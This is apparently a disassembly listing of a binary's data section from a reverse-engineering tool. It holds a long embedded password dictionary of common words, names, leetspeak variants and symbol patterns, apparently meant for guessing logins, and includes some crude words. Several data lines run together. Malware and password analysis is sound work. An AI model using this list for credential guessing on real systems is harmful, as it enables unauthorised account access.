asc_42F2FC	db '****',0             ; DATA XREF: .nsp0:0042E004o
		align 4
asc_42F304	db '***',0              ; DATA XREF: .nsp0:0042E000o
asc_42F308	db '**',0               ; DATA XREF: .nsp0:0042DFFCo
		align 4
a0000000000	db '0000000000',0       ; DATA XREF: .nsp0:0042DFF4o
		align 4
a000000000	db '000000000',0        ; DATA XREF: .nsp0:0042DFF0o
		align 4
a@		db '@!',0               ; DATA XREF: .nsp0:0042DFD0o
		align 4
a@_0		db '#@!',0              ; DATA XREF: .nsp0:0042DFCCo
a@_1		db '$#@!',0             ; DATA XREF: .nsp0:0042DFC8o
		align 4
a@_2		db '%$#@!',0            ; DATA XREF: .nsp0:0042DFC4o
		align 4
a@_3		db '^%$#@!',0           ; DATA XREF: .nsp0:0042DFC0o
		align 4
a@_4		db '&^%$#@!',0          ; DATA XREF: .nsp0:0042DFBCo
a@_5		db '*&^%$#@!',0         ; DATA XREF: .nsp0:0042DFB8o
		align 4
asc_42F358	db '$$$',0              ; DATA XREF: .nsp0:0042DFB4o
asc_42F35C	db '$$',0               ; DATA XREF: .nsp0:0042DFB0o
		align 10h
asc_42F360:				; DATA XREF: .nsp0:0042DFACo
		unicode	0, <$>,0
a456_0		db '456+',0             ; DATA XREF: .nsp0:0042DFA8o
		align 4
a789_0		db '789+',0             ; DATA XREF: .nsp0:0042DFA4o
		align 4
a0		db '=-0',0              ; DATA XREF: .nsp0:0042DFA0o
asc_42F378	db '--++',0             ; DATA XREF: .nsp0:0042DF9Co
		align 10h
asc_42F380	db '-+',0               ; DATA XREF: .nsp0:0042DF98o
		align 4
asc_42F384	db '----',0             ; DATA XREF: .nsp0:0042DF94o
		align 4
asc_42F38C	db '--',0               ; DATA XREF: .nsp0:0042DF8Co
					; .nsp0:0042DF90o
		align 10h
asc_42F390:				; DATA XREF: .nsp0:0042DF88o
		unicode	0, <->,0
asc_42F394	db '++++',0             ; DATA XREF: .nsp0:0042DF84o
		align 4
asc_42F39C	db '+++',0              ; DATA XREF: .nsp0:0042DF80o
asc_42F3A0	db '++',0               ; DATA XREF: .nsp0:0042DF7Co
		align 4
asc_42F3A4:				; DATA XREF: .nsp0:0042DF78o
		unicode	0, <+>,0
a@@		db '@@',0               ; DATA XREF: .nsp0:0042DF74o
		align 4
a@_6:					; DATA XREF: sub_40CE55+23Ao
					; .nsp0:0042DF70o
		unicode	0, <@>,0
off_42F3B0	dd offset loc_40211D+4	; DATA XREF: .nsp0:0042DF6Co
dword_42F3B4	dd 2121h	dword_42F3B8	dd 24234021h, 2A265E25h, 0dword_42F3C4	dd 24234021h, 265E25hdword_42F3CC	dd 24234021h, 5E25hdword_42F3D4	dd 24234021h, 25hdword_42F3DC	dd 234021h	dword_42F3E0	dd 4021h	dword_42F3E4	dd 21h							; sub_40CE55+5B5Fo ...
dword_42F3E8	dd 25h		aZimmerman	db 'zimmerman',0        ; DATA XREF: .nsp0:0042DF40o
		align 4
aZap		db 'zap',0              ; DATA XREF: .nsp0:0042DF3Co
aYellowstone	db 'yellowstone',0      ; DATA XREF: .nsp0:0042DF38o
aXyz		db 'xyz',0              ; DATA XREF: .nsp0:0042DF34o
					; .nsp0:0042E42Co
aWisconsin	db 'wisconsin',0        ; DATA XREF: .nsp0:0042DF30o
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: .nsp0:0042DF2Co
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: .nsp0:0042DF28o
		align 4
aTty		db 'tty',0              ; DATA XREF: .nsp0:0042DF24o
aTopography	db 'topography',0       ; DATA XREF: .nsp0:0042DF20o
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: .nsp0:0042DF1Co
		align 10h
aTelephone	db 'telephone',0        ; DATA XREF: .nsp0:0042DF18o
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: .nsp0:0042DF14o
		align 4
aSys		db 'sys',0              ; DATA XREF: .nsp0:0042DF10o
aSupported	db 'supported',0        ; DATA XREF: .nsp0:0042DF0Co
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: .nsp0:0042DF08o
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: .nsp0:0042DF04o
		align 10h
aSun		db 'sun',0              ; DATA XREF: .nsp0:0042DF00o
aStuttgart	db 'stuttgart',0        ; DATA XREF: .nsp0:0042DEFCo
		align 10h
aStratford	db 'stratford',0        ; DATA XREF: .nsp0:0042DEF8o
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: .nsp0:0042DEF4o
		align 4
aSignature	db 'signature',0        ; DATA XREF: .nsp0:0042DEF0o
		align 4
aSheffield	db 'sheffield',0        ; DATA XREF: .nsp0:0042DEECo
		align 10h
aSal		db 'sal',0              ; DATA XREF: .nsp0:0042DEE8o
aRochester	db 'rochester',0        ; DATA XREF: .nsp0:0042DEE4o
		align 10h
aRje		db 'rje',0              ; DATA XREF: .nsp0:0042DEE0o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: .nsp0:0042DEDCo
		align 4
aPub		db 'pub',0
aProfessor	db 'professor',0
		align 4
aPrinceton	db 'princeton',0
		align 10h
aPondering	db 'pondering',0
		align 4
aPolynomial	db 'polynomial',0
		align 4
aPersimmon	db 'persimmon',0
		align 4
aPercolate	db 'percolate',0
		align 10h
aPam		db 'pam',0
aPad		db 'pad',0
aOceanography	db 'oceanography',0
		align 4
aNutrition	db 'nutrition',0
		align 4
aNew		db 'new',0
aNet		db 'net',0
aMit		db 'mit',0
aMgr		db 'mgr',0
aMacintosh	db 'macintosh',0
		align 10h
aLiz		db 'liz',0
aLee		db 'lee',0
aLamination	db 'lamination',0
		align 4
aKim		db 'kim',0
aJoy		db 'joy',0
aJen		db 'jen',0
aInnocuous	db 'innocuous',0
		align 4
aImbroglio	db 'imbroglio',0
		align 4
aIbm		db 'ibm',0
aHappening	db 'happening',0
		align 4
aHal		db 'hal',0
aGnu		db 'gnu',0
aFun		db 'fun',0
aForesight	db 'foresight',0
		align 10h
aFoolproof	db 'foolproof',0
		align 4
aExtension	db 'extension',0
		align 4
aEstablish	db 'establish',0
		align 4
aEnterprise	db 'enterprise',0
		align 10h
aElizabeth	db 'elizabeth',0
		align 4
aEiderdown	db 'eiderdown',0
		align 4
aEdinburgh	db 'edinburgh',0
		align 4
aDos		db 'dos',0
aDog		db 'dog',0
aDiscovery	db 'discovery',0
		align 4
aDesperate	db 'desperate',0
		align 4
aDeb		db 'deb',0
aCornelius	db 'cornelius',0
		align 4
aCommrades	db 'commrades',0
		align 10h
aChristine	db 'christine',0
		align 4
aChristina	db 'christina',0
		align 4
aChemistry	db 'chemistry',0
		align 4
aCatherine	db 'catherine',0
		align 10h
aCat		db 'cat',0
aCampanile	db 'campanile',0
		align 10h
aCad		db 'cad',0
aBsd		db 'bsd',0
aBob		db 'bob',0
aBicameral	db 'bicameral',0
		align 4
aBeethoven	db 'beethoven',0
		align 4
aAtmosphere	db 'atmosphere',0
		align 10h
aAsm		db 'asm',0
aAsd		db 'asd',0              ; DATA XREF: .nsp0:0042E45Co
aAnthropogenic	db 'anthropogenic',0
		align 4
aAnn		db 'ann',0
aAndromache	db 'andromache',0
		align 4
aAmy		db 'amy',0
aAmorphous	db 'amorphous',0        ; DATA XREF: .nsp0:0042DDD9o
		align 4
aAma		db 'ama',0
aAlf		db 'alf',0
aAlbatross	db 'albatross',0
		align 4
aAda		db 'ada',0              ; DATA XREF: .nsp0:0042DDC9o
aH4x0ring	db 'h4x0ring',0
		align 4
aH4x0r1ng	db 'h4x0r1ng',0
		align 4
aH4x1ng		db 'h4x1ng',0
		align 10h
aHaxing		db 'haxing',0
		align 4
aHax		db 'hax',0
aWh0re		db 'wh0re',0
		align 4
aHo		db 'ho',0
		align 4
aWh0r3		db 'wh0r3',0
		align 10h
aWindoze95	db 'windoze95',0
		align 4
aWindoze98	db 'windoze98',0
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: .nsp0:loc_42DD9Do
		align 4
aWindoze2k	db 'windoze2k',0
		align 10h
aWindozexp	db 'windozexp',0        ; DATA XREF: .nsp0:0042DD95o
		align 4
aWindows95	db 'windows95',0
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: .nsp0:0042DD8Do
		align 4
aWindowsme	db 'windowsME',0
		align 10h
aWindows2k	db 'windows2k',0
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: .nsp0:0042DD84o
		align 4
aMs		db 'MS',0               ; DATA XREF: .nsp0:0042DD80o
		align 4
aM_0		db 'M$',0               ; DATA XREF: .nsp0:0042DD7Co
		align 10h
aBilly		db 'billy',0            ; DATA XREF: .nsp0:0042DD78o
		align 4
aWindose	db 'windose',0          ; DATA XREF: .nsp0:0042DD74o
aWindoze	db 'windoze',0          ; DATA XREF: .nsp0:0042DD70o
aWindowz	db 'windowz',0          ; DATA XREF: .nsp0:0042DD6Co
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: .nsp0:0042DD68o
aDonaldduck	db 'donaldduck',0       ; DATA XREF: .nsp0:0042DD64o
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: .nsp0:0042DD60o
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: .nsp0:0042DD5Co
		align 4
aDud3		db 'dud3',0             ; DATA XREF: .nsp0:0042DD58o
		align 4
aDudette	db 'dudette',0          ; DATA XREF: .nsp0:0042DD54o
aD00d		db 'd00d',0             ; DATA XREF: .nsp0:0042DD50o
		align 4
aLol		db 'lol',0              ; DATA XREF: .nsp0:0042DD4Co
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: .nsp0:0042DD48o
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: .nsp0:0042DD44o
		align 10h
aRosco		db 'Rosco',0            ; DATA XREF: .nsp0:0042DD40o
		align 4
aRoss		db 'Ross',0             ; DATA XREF: .nsp0:0042DD3Co
		align 10h
aTestin		db 'testin',0           ; DATA XREF: .nsp0:0042DD38o
		align 4
aTester		db 'tester',0           ; DATA XREF: .nsp0:0042DD34o
		align 10h
a00000000	db '00000000',0         ; DATA XREF: .nsp0:0042DD30o
					; .nsp0:0042DFECo
		align 4
aZulu		db 'zulu',0             ; DATA XREF: .nsp0:0042DD2Co
		align 4
aZombie		db 'zombie',0           ; DATA XREF: .nsp0:0042DD28o
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: .nsp0:0042DD24o
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: .nsp0:0042DD20o
		align 10h
aZiggy		db 'ziggy',0            ; DATA XREF: .nsp0:0042DD1Co
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: .nsp0:0042DD18o
		align 4
aZebra		db 'zebra',0            ; DATA XREF: .nsp0:0042DD14o
		align 4
aYoung		db 'young',0            ; DATA XREF: .nsp0:0042DD10o
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: .nsp0:0042DD0Co
		align 10h
aYolanda	db 'yolanda',0          ; DATA XREF: .nsp0:0042DD08o
aYellowst	db 'yellowst',0         ; DATA XREF: .nsp0:0042DD04o
		align 4
aYellow		db 'yellow',0           ; DATA XREF: .nsp0:0042DD00o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: .nsp0:0042DCFCo
		align 4
aYang		db 'yang',0             ; DATA XREF: .nsp0:0042DCF8o
					; .nsp0:0042E434o
		align 4
aYaco		db 'yaco',0             ; DATA XREF: .nsp0:0042DCF4o
					; .nsp0:0042E430o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: .nsp0:0042DCF0o
		align 4
aXray		db 'xray',0             ; DATA XREF: .nsp0:0042DCECo
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: .nsp0:0042DCE8o
		align 4
aXmen		db 'xmen',0             ; DATA XREF: .nsp0:0042DCE4o
		align 4
aXman		db 'xman',0             ; DATA XREF: .nsp0:0042DCE0o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: .nsp0:0042DCDCo
		align 4
aXena		db 'xena',0             ; DATA XREF: .nsp0:0042DCD8o
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: .nsp0:0042DCD4o
aWwii		db 'wwii',0             ; DATA XREF: .nsp0:0042DCD0o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: .nsp0:0042DCCCo
		align 4
aWorm		db 'worm',0             ; DATA XREF: .nsp0:0042DCC8o
		align 10h
aWork		db 'work',0             ; DATA XREF: .nsp0:0042DCC4o
		align 4
aWorf		db 'worf',0             ; DATA XREF: .nsp0:0042DCC0o
		align 10h
aWordperf	db 'wordperf',0         ; DATA XREF: .nsp0:0042DCBCo
		align 4
aWord		db 'word',0             ; DATA XREF: .nsp0:0042DCB8o
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: .nsp0:0042DCB4o
		align 10h
aWood		db 'wood',0             ; DATA XREF: .nsp0:0042DCB0o
		align 4
aWomen		db 'women',0            ; DATA XREF: .nsp0:0042DCACo
		align 10h
aWombat		db 'wombat',0           ; DATA XREF: .nsp0:0042DCA8o
		align 4
aWoman		db 'woman',0            ; DATA XREF: .nsp0:0042DCA4o
		align 10h
aWolverin	db 'wolverin',0         ; DATA XREF: .nsp0:0042DCA0o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: .nsp0:0042DC9Co
		align 4
aWizard		db 'wizard',0           ; DATA XREF: .nsp0:0042DC98o
		align 4
aWithin		db 'within',0           ; DATA XREF: .nsp0:0042DC94o
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: .nsp0:0042DC90o
aWisconsi	db 'wisconsi',0         ; DATA XREF: .nsp0:0042DC8Co
		align 4
aWired		db 'wired',0            ; DATA XREF: .nsp0:0042DC88o
		align 10h
aWinston	db 'winston',0          ; DATA XREF: .nsp0:0042DC84o
aWing		db 'wing',0             ; DATA XREF: .nsp0:0042DC80o
		align 10h
aWine		db 'wine',0             ; DATA XREF: .nsp0:0042DC7Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: .nsp0:0042DC78o
aWilma		db 'wilma',0            ; DATA XREF: .nsp0:0042DC74o
		align 4
aWillie		db 'willie',0           ; DATA XREF: .nsp0:0042DC70o
		align 10h
aWilliams	db 'williams',0         ; DATA XREF: .nsp0:0042DC6Co
		align 4
aWilliam	db 'william',0          ; DATA XREF: .nsp0:0042DC68o
aWill		db 'will',0             ; DATA XREF: .nsp0:0042DC64o
		align 4
aWhore		db 'whore',0            ; DATA XREF: .nsp0:0042DC60o
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: .nsp0:0042DC5Co
		align 10h
aWhitney	db 'whitney',0          ; DATA XREF: .nsp0:0042DC58o
aWhiting	db 'whiting',0          ; DATA XREF: .nsp0:0042DC54o
aWhite		db 'white',0            ; DATA XREF: .nsp0:0042DC50o
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: .nsp0:0042DC4Co
		align 10h
aWhatnot	db 'whatnot',0          ; DATA XREF: .nsp0:0042DC48o
aWhatever	db 'whatever',0         ; DATA XREF: .nsp0:0042DC44o
		align 4
aWestern	db 'western',0          ; DATA XREF: .nsp0:0042DC40o
aWest		db 'west',0             ; DATA XREF: .nsp0:0042DC3Co
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: .nsp0:0042DC38o
		align 10h
aWendy		db 'wendy',0            ; DATA XREF: .nsp0:0042DC34o
		align 4
aWendi		db 'wendi',0            ; DATA XREF: .nsp0:0042DC30o
		align 10h
aWell		db 'well',0             ; DATA XREF: .nsp0:0042DC2Co
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: .nsp0:0042DC28o
		align 10h
aWeed		db 'weed',0             ; DATA XREF: .nsp0:0042DC24o
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: .nsp0:0042DC20o
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: .nsp0:0042DC1Co
aWave		db 'wave',0             ; DATA XREF: .nsp0:0042DC18o
		align 4
aWater		db 'water',0            ; DATA XREF: .nsp0:0042DC14o
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: .nsp0:0042DC10o
		align 4
aWasp		db 'wasp',0             ; DATA XREF: .nsp0:0042DC0Co
		align 10h
aWarren		db 'warren',0           ; DATA XREF: .nsp0:0042DC08o
		align 4
aWarp		db 'warp',0             ; DATA XREF: .nsp0:0042DC04o
		align 10h
aWargames	db 'wargames',0         ; DATA XREF: .nsp0:0042DC00o
		align 4
aWarfare	db 'warfare',0          ; DATA XREF: .nsp0:0042DBFCo
aWarez		db 'warez',0            ; DATA XREF: .nsp0:0042DBF8o
		align 4
aWard		db 'ward',0             ; DATA XREF: .nsp0:0042DBF4o
		align 4
aWaco		db 'waco',0             ; DATA XREF: .nsp0:0042DBF0o
		align 4
aVodka		db 'vodka',0            ; DATA XREF: .nsp0:0042DBECo
		align 4
aVisualba	db 'visualba',0         ; DATA XREF: .nsp0:0042DBE8o
		align 10h
aVisual		db 'visual',0           ; DATA XREF: .nsp0:0042DBE4o
		align 4
aVisitor	db 'visitor',0          ; DATA XREF: .nsp0:0042DBE0o
aVirus		db 'virus',0            ; DATA XREF: .nsp0:0042DBDCo
		align 4
aVirginia	db 'virginia',0         ; DATA XREF: .nsp0:0042DBD8o
		align 4
aVirgin		db 'virgin',0           ; DATA XREF: .nsp0:0042DBD4o
		align 4
aVillage	db 'village',0          ; DATA XREF: .nsp0:0042DBD0o
aVideogam	db 'videogam',0         ; DATA XREF: .nsp0:0042DBCCo
		align 10h
aVideo		db 'video',0            ; DATA XREF: .nsp0:0042DBC8o
		align 4
aVictor		db 'victor',0           ; DATA XREF: .nsp0:0042DBC4o
		align 10h
aVicky		db 'vicky',0            ; DATA XREF: .nsp0:0042DBC0o
		align 4
aVertigo	db 'vertigo',0          ; DATA XREF: .nsp0:0042DBBCo
aVeronica	db 'veronica',0         ; DATA XREF: .nsp0:0042DBB8o
		align 4
aVenus		db 'venus',0            ; DATA XREF: .nsp0:0042DBB4o
		align 4
aVasant		db 'vasant',0           ; DATA XREF: .nsp0:0042DBB0o
		align 4
aVampire	db 'vampire',0          ; DATA XREF: .nsp0:0042DBACo
aValerie	db 'valerie',0          ; DATA XREF: .nsp0:0042DBA8o
aVagina		db 'vagina',0           ; DATA XREF: .nsp0:0042DBA4o
		align 4
aUucp		db 'uucp',0             ; DATA XREF: .nsp0:0042DBA0o
		align 4
aUtility	db 'utility',0          ; DATA XREF: .nsp0:0042DB9Co
aUtil		db 'util',0             ; DATA XREF: .nsp0:0042DB98o
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: .nsp0:0042DB94o
		align 4
aUsername	db 'username',0         ; DATA XREF: .nsp0:0042DB90o
		align 10h
aUsermane	db 'usermane',0         ; DATA XREF: .nsp0:0042DB8Co
		align 4
aUsenet		db 'usenet',0           ; DATA XREF: .nsp0:0042DB88o
		align 4
aUrsula		db 'ursula',0           ; DATA XREF: .nsp0:0042DB84o
		align 4
aUrchin		db 'urchin',0           ; DATA XREF: .nsp0:0042DB80o
		align 4
aUranus		db 'uranus',0           ; DATA XREF: .nsp0:0042DB7Co
		align 4
aUpload		db 'upload',0           ; DATA XREF: .nsp0:0042DB78o
		align 4
aUnlock		db 'unlock',0           ; DATA XREF: .nsp0:0042DB74o
		align 4
aUnknown_0	db 'unknown',0          ; DATA XREF: .nsp0:0042DB70o
aUniversi	db 'universi',0         ; DATA XREF: .nsp0:0042DB6Co
		align 10h
aUniverse	db 'universe',0         ; DATA XREF: .nsp0:0042DB68o
		align 4
aUniversa	db 'universa',0         ; DATA XREF: .nsp0:0042DB64o
		align 4
aUniform	db 'uniform',0          ; DATA XREF: .nsp0:0042DB60o
aUnicorn	db 'unicorn',0          ; DATA XREF: .nsp0:0042DB5Co
aUnhappy	db 'unhappy',0          ; DATA XREF: .nsp0:0042DB58o
aUndo		db 'undo',0             ; DATA XREF: .nsp0:0042DB54o
		align 4
aUncle		db 'uncle',0            ; DATA XREF: .nsp0:0042DB50o
		align 10h
aUmesh		db 'umesh',0            ; DATA XREF: .nsp0:0042DB4Co
		align 4
aUgly		db 'ugly',0             ; DATA XREF: .nsp0:0042DB48o
		align 10h
aTuttle		db 'tuttle',0           ; DATA XREF: .nsp0:0042DB44o
		align 4
aTurn		db 'turn',0             ; DATA XREF: .nsp0:0042DB40o
		align 10h
aTuesday	db 'tuesday',0          ; DATA XREF: .nsp0:0042DB3Co
aTubas		db 'tubas',0            ; DATA XREF: .nsp0:0042DB38o
		align 10h
aTruth		db 'truth',0            ; DATA XREF: .nsp0:0042DB34o
		align 4
aTrue		db 'true',0             ; DATA XREF: .nsp0:0042DB30o
		align 10h
aTron		db 'tron',0             ; DATA XREF: .nsp0:0042DB2Co
		align 4
aTrombone	db 'trombone',0         ; DATA XREF: .nsp0:0042DB28o
		align 4
aTrojan		db 'trojan',0           ; DATA XREF: .nsp0:0042DB24o
		align 4
aTrivial	db 'trivial',0          ; DATA XREF: .nsp0:0042DB20o
aTrisha		db 'trisha',0           ; DATA XREF: .nsp0:0042DB1Co
		align 4
aTrek		db 'trek',0             ; DATA XREF: .nsp0:0042DB18o
		align 4
aTree		db 'tree',0             ; DATA XREF: .nsp0:0042DB14o
		align 4
aTrapdoor	db 'trapdoor',0         ; DATA XREF: .nsp0:0042DB10o
		align 4
aTrap		db 'trap',0             ; DATA XREF: .nsp0:0042DB0Co
		align 10h
aTransfer	db 'transfer',0         ; DATA XREF: .nsp0:0042DB08o
		align 4
aTrails		db 'trails',0           ; DATA XREF: .nsp0:0042DB04o
		align 4
aTracy		db 'tracy',0            ; DATA XREF: .nsp0:0042DB00o
		align 4
aTracie		db 'tracie',0           ; DATA XREF: .nsp0:0042DAFCo
		align 4
aTraci		db 'traci',0            ; DATA XREF: .nsp0:0042DAF8o
		align 4
aToyota		db 'toyota',0           ; DATA XREF: .nsp0:0042DAF4o
					; .nsp0:0042E404o
		align 4
aToxic		db 'toxic',0            ; DATA XREF: .nsp0:0042DAF0o
		align 4
aTortoise	db 'tortoise',0         ; DATA XREF: .nsp0:0042DAECo
		align 4
aTopograp	db 'topograp',0         ; DATA XREF: .nsp0:0042DAE8o
		align 4
aTomato		db 'tomato',0           ; DATA XREF: .nsp0:0042DAE4o
		align 4
aTokenrin	db 'tokenrin',0         ; DATA XREF: .nsp0:0042DAE0o
		align 4
aToken		db 'token',0            ; DATA XREF: .nsp0:0042DADCo
		align 10h
aToggle		db 'toggle',0           ; DATA XREF: .nsp0:0042DAD8o
		align 4
aToad		db 'toad',0             ; DATA XREF: .nsp0:0042DAD4o
		align 10h
aTits		db 'tits',0             ; DATA XREF: .nsp0:0042DAD0o
		align 4
aTina		db 'tina',0             ; DATA XREF: .nsp0:0042DACCo
		align 10h
aTime		db 'time',0             ; DATA XREF: .nsp0:0042DAC8o
		align 4
aTiger		db 'tiger',0            ; DATA XREF: .nsp0:0042DAC4o
					; .nsp0:0042E3F8o
		align 10h
aTiffany	db 'tiffany',0          ; DATA XREF: .nsp0:0042DAC0o
aThursday	db 'thursday',0         ; DATA XREF: .nsp0:0042DABCo
		align 4
aThin		db 'thin',0             ; DATA XREF: .nsp0:0042DAB8o
		align 4
aTheresa	db 'theresa',0          ; DATA XREF: .nsp0:0042DAB4o
aThailand	db 'thailand',0         ; DATA XREF: .nsp0:0042DAB0o
		align 10h
aText		db 'text',0             ; DATA XREF: .nsp0:0042DAACo
		align 4
aTetris		db 'tetris',0           ; DATA XREF: .nsp0:0042DAA8o
		align 10h
aTess		db 'tess',0             ; DATA XREF: .nsp0:0042DAA4o
		align 4
aTerminat	db 'terminat',0         ; DATA XREF: .nsp0:0042DAA0o
		align 4
aTerminal	db 'terminal',0         ; DATA XREF: .nsp0:0042DA9Co
		align 10h
aTera		db 'tera',0             ; DATA XREF: .nsp0:0042DA98o
		align 4
aTennis		db 'tennis',0           ; DATA XREF: .nsp0:0042DA94o
		align 10h
aTemptati	db 'temptati',0         ; DATA XREF: .nsp0:0042DA90o
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: .nsp0:0042DA8Co
		align 4
aTelephon	db 'telephon',0         ; DATA XREF: .nsp0:0042DA88o
		align 10h
aTeenage	db 'teenage',0          ; DATA XREF: .nsp0:0042DA84o
aTeen		db 'teen',0             ; DATA XREF: .nsp0:0042DA80o
		align 10h
aTech		db 'tech',0             ; DATA XREF: .nsp0:0042DA7Co
		align 4
aTears		db 'tears',0            ; DATA XREF: .nsp0:0042DA78o
		align 10h
aTeapot		db 'teapot',0           ; DATA XREF: .nsp0:0042DA74o
		align 4
aTeam		db 'team',0             ; DATA XREF: .nsp0:0042DA70o
		align 10h
aTaylor		db 'taylor',0           ; DATA XREF: .nsp0:0042DA68o
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: .nsp0:0042DA64o
		align 4
aTarget		db 'target',0           ; DATA XREF: .nsp0:0042DA60o
		align 4
aTara		db 'tara',0             ; DATA XREF: .nsp0:0042DA5Co
		align 4
aTape		db 'tape',0             ; DATA XREF: .nsp0:0042DA58o
		align 4
aTango		db 'tango',0            ; DATA XREF: .nsp0:0042DA54o
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: .nsp0:0042DA50o
		align 10h
aTammy		db 'tammy',0            ; DATA XREF: .nsp0:0042DA4Co
		align 4
aTamie		db 'tamie',0            ; DATA XREF: .nsp0:0042DA48o
		align 10h
aTami		db 'tami',0             ; DATA XREF: .nsp0:0042DA44o
		align 4
aTamara		db 'tamara',0           ; DATA XREF: .nsp0:0042DA40o
		align 10h
aTall		db 'tall',0             ; DATA XREF: .nsp0:0042DA3Co
		align 4
aTalk		db 'talk',0             ; DATA XREF: .nsp0:0042DA38o
		align 10h
aTabasco	db 'tabasco',0          ; DATA XREF: .nsp0:0042DA34o
aSysop		db 'sysop',0            ; DATA XREF: .nsp0:0042DA30o
		align 10h
aSysadmin	db 'sysadmin',0         ; DATA XREF: .nsp0:0042DA2Co
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: .nsp0:0042DA28o
		align 4
aSybil		db 'sybil',0            ; DATA XREF: .nsp0:0042DA24o
		align 10h
aSword		db 'sword',0            ; DATA XREF: .nsp0:0042DA20o
		align 4
aSwitch		db 'switch',0           ; DATA XREF: .nsp0:0042DA1Co
		align 10h
aSweat		db 'sweat',0            ; DATA XREF: .nsp0:0042DA18o
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: .nsp0:0042DA14o
aSuzie		db 'suzie',0            ; DATA XREF: .nsp0:0042DA10o
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: .nsp0:0042DA0Co
aSusie		db 'susie',0            ; DATA XREF: .nsp0:0042DA08o
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: .nsp0:0042DA04o
aSusan		db 'susan',0            ; DATA XREF: .nsp0:0042DA00o
		align 4
aSurfing	db 'surfing',0          ; DATA XREF: .nsp0:0042D9FCo
aSurfer		db 'surfer',0           ; DATA XREF: .nsp0:0042D9F8o
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: .nsp0:0042D9F4o
		align 4
aSupport	db 'support',0          ; DATA XREF: .nsp0:0042D9F0o
aSupervis	db 'supervis',0         ; DATA XREF: .nsp0:0042D9ECo
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: .nsp0:0042D9E8o
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: .nsp0:0042D9E4o
		align 10h
aSuperson	db 'superson',0         ; DATA XREF: .nsp0:0042D9E0o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: .nsp0:0042D9DCo
		align 4
aSunday		db 'sunday',0           ; DATA XREF: .nsp0:0042D9D8o
		align 10h
aSummer		db 'summer',0           ; DATA XREF: .nsp0:0042D9D4o
		align 4
aSucks		db 'sucks',0            ; DATA XREF: .nsp0:0042D9D0o
		align 10h
aSuckmydi	db 'suckmydi',0         ; DATA XREF: .nsp0:0042D9CCo
		align 4
aSuck		db 'suck',0             ; DATA XREF: .nsp0:0042D9C8o
		align 4
aSuccess	db 'success',0          ; DATA XREF: .nsp0:0042D9C4o
aSubway		db 'subway',0           ; DATA XREF: .nsp0:0042D9C0o
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: .nsp0:0042D9BCo
		align 10h
aStuttgar	db 'stuttgar',0         ; DATA XREF: .nsp0:0042D9B8o
		align 4
aStrip		db 'strip',0            ; DATA XREF: .nsp0:0042D9B0o
		align 4
aString		db 'string',0           ; DATA XREF: .nsp0:0042D9ACo
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: .nsp0:off_42549Co
					; .nsp0:0042D9A8o
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: .nsp0:0042D9A4o
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: .nsp0:0042D9A0o
		align 10h
aStrange	db 'strange',0          ; DATA XREF: .nsp0:0042D99Co
aStones		db 'stones',0           ; DATA XREF: .nsp0:0042D998o
		align 10h
aStoned		db 'stoned',0           ; DATA XREF: .nsp0:0042D994o
		align 4
aStoneage	db 'stoneage',0         ; DATA XREF: .nsp0:0042D990o
		align 4
aSteve		db 'steve',0            ; DATA XREF: .nsp0:0042D98Co
		align 4
aStereo		db 'stereo',0           ; DATA XREF: .nsp0:0042D988o
		align 4
aStephani	db 'stephani',0         ; DATA XREF: .nsp0:0042D984o
		align 10h
aSteph		db 'steph',0            ; DATA XREF: .nsp0:0042D980o
		align 4
aSteel		db 'steel',0            ; DATA XREF: .nsp0:0042D97Co
		align 10h
aSteal		db 'steal',0            ; DATA XREF: .nsp0:0042D978o
		align 4
aSteak		db 'steak',0            ; DATA XREF: .nsp0:0042D974o
		align 10h
aStarwars	db 'starwars',0         ; DATA XREF: .nsp0:0042D970o
		align 4
aStartup	db 'startup',0          ; DATA XREF: .nsp0:0042D96Co
